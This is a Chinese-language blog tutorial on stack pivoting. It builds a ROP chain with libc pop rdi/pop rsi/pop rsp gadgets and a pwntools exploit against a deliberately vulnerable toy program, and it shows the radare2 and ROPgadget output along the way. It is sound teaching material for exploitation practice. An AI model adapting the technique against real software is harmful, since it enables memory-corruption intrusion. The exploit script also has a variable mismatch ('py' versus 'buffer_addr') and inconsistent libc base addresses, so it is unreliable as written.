stack pivoiting
1 what
stack pivoiting是一种栈空间转移技术
2 why
有时候缓冲区有长度限制,不利于在栈上配置rop gadget(空间不够)!
3 how
3.1 pop rsp gadget
这种情形比较少见,遇到了相当幸运~
3.2 xchg , rsp
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
3.3 leave;ret
leave相当于:
mov rsp,rbp
pop rbp
加上ret就等于:
mov rsp,rbp
pop rbp
pop rip
覆盖rbp,然后栈中的rip覆盖为Addr(leave;ret),当接收数据的函数返回时候,rsp指向target,target新栈中保留了待执行shellcode
4 漏洞程序 vuln
// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}
4.1 vuln脆弱性
- 存在输入性栈溢出,buffer大小0x60
- fgets存在输入大小限制,0x80上界
- 程序编译保护存在,nx
─$ checksec --file=./vuln
[*] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
4.2 vuln脆弱性利用目标
rip指向 winner函数,获取winner函数的执行权
4.3 vuln利用步骤
4.3.1 测算rip的偏移
- 生成de bruijn串
└─$ ragg2 -P 200 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
- fuzz vuln
┌──(kali㉿kali)-[~/exploits/spivot]
└─$ r2 -d -A vuln
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.
[0x7f93b6df79c0]> dc
Try pivoting to: 0x7ffcd3256000
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
- 确定rip
[0x004011c5]> dr rbp
0x4169414168414167
[0x004011c5]> wopO `dr rbp`
96
所以,rip的偏移是104 = 96 + 8
- 猜测栈基本布局
stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 | 因为fgets输入长度限制是0x80==128,而且,栈不可执行shellcode,所以,可以覆盖的区域只有 rip,x1,x2 三个变量的地址,且只能用rop gadget方式。
4.3.2 寻找可用gadget
- pop rdi
──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary vuln | grep 'pop rdi'
很不幸,vuln程序中找不到类似pop rdi | pop rsi等指令,只能去libc找一个用用。
- libc找gadget的前提是ASLR已经关闭:
──(kali㉿kali)-[~/exploits/spivot]
└─$ cat /proc/sys/kernel/randomize_va_space
0
- ROPgadget寻找libc
$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
(kali?kali)-[~/exploits/spivot]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16
所以,POP_RDI = 0x00007f85682b0000 + 0x027725
- pop rsi
(kali?kali)-[~/exploits/spivot]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf
所以,POP_RSI = 0x00007f85682b0000 + 0x028ed9
- pop rsp
(kali?kali)-[~/exploits/spivot]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret
...
0x00000000000273aa : pop rsp ; ret
所以,POP_RSP = 0x00007f85682b0000 + 0x0273aa
4.3.3 规划栈布局
- old_stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |
new_stack ::=
新栈布局 |
---|
+00 POP_RDI |
+08 0xdeadbeef |
+16 POP_RSI |
+24 0xdeadc0de |
+32 winner_addr |
… |
+104 POP_RSP (rip位置) |
+112 Buffer_addr |
4.3.4 pwntools编写利用代码
4.3.4 pwntools��д���ô���
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
# 获取buffer_addr
p.recvuntil('to: ')
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')
LIBC = 0x00007ffff7dce000
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9
# 设置payload
payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)
# send payload
p.sendline(payload)
print(p.recvline())
exploit output
$ python exploit.py
[*] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[*] leak buffer addr: 0x7fffffffe280
[*] Paused (press any to continue)
**b'Great job!\n'**
[*] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_10_stack_pivoiting/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。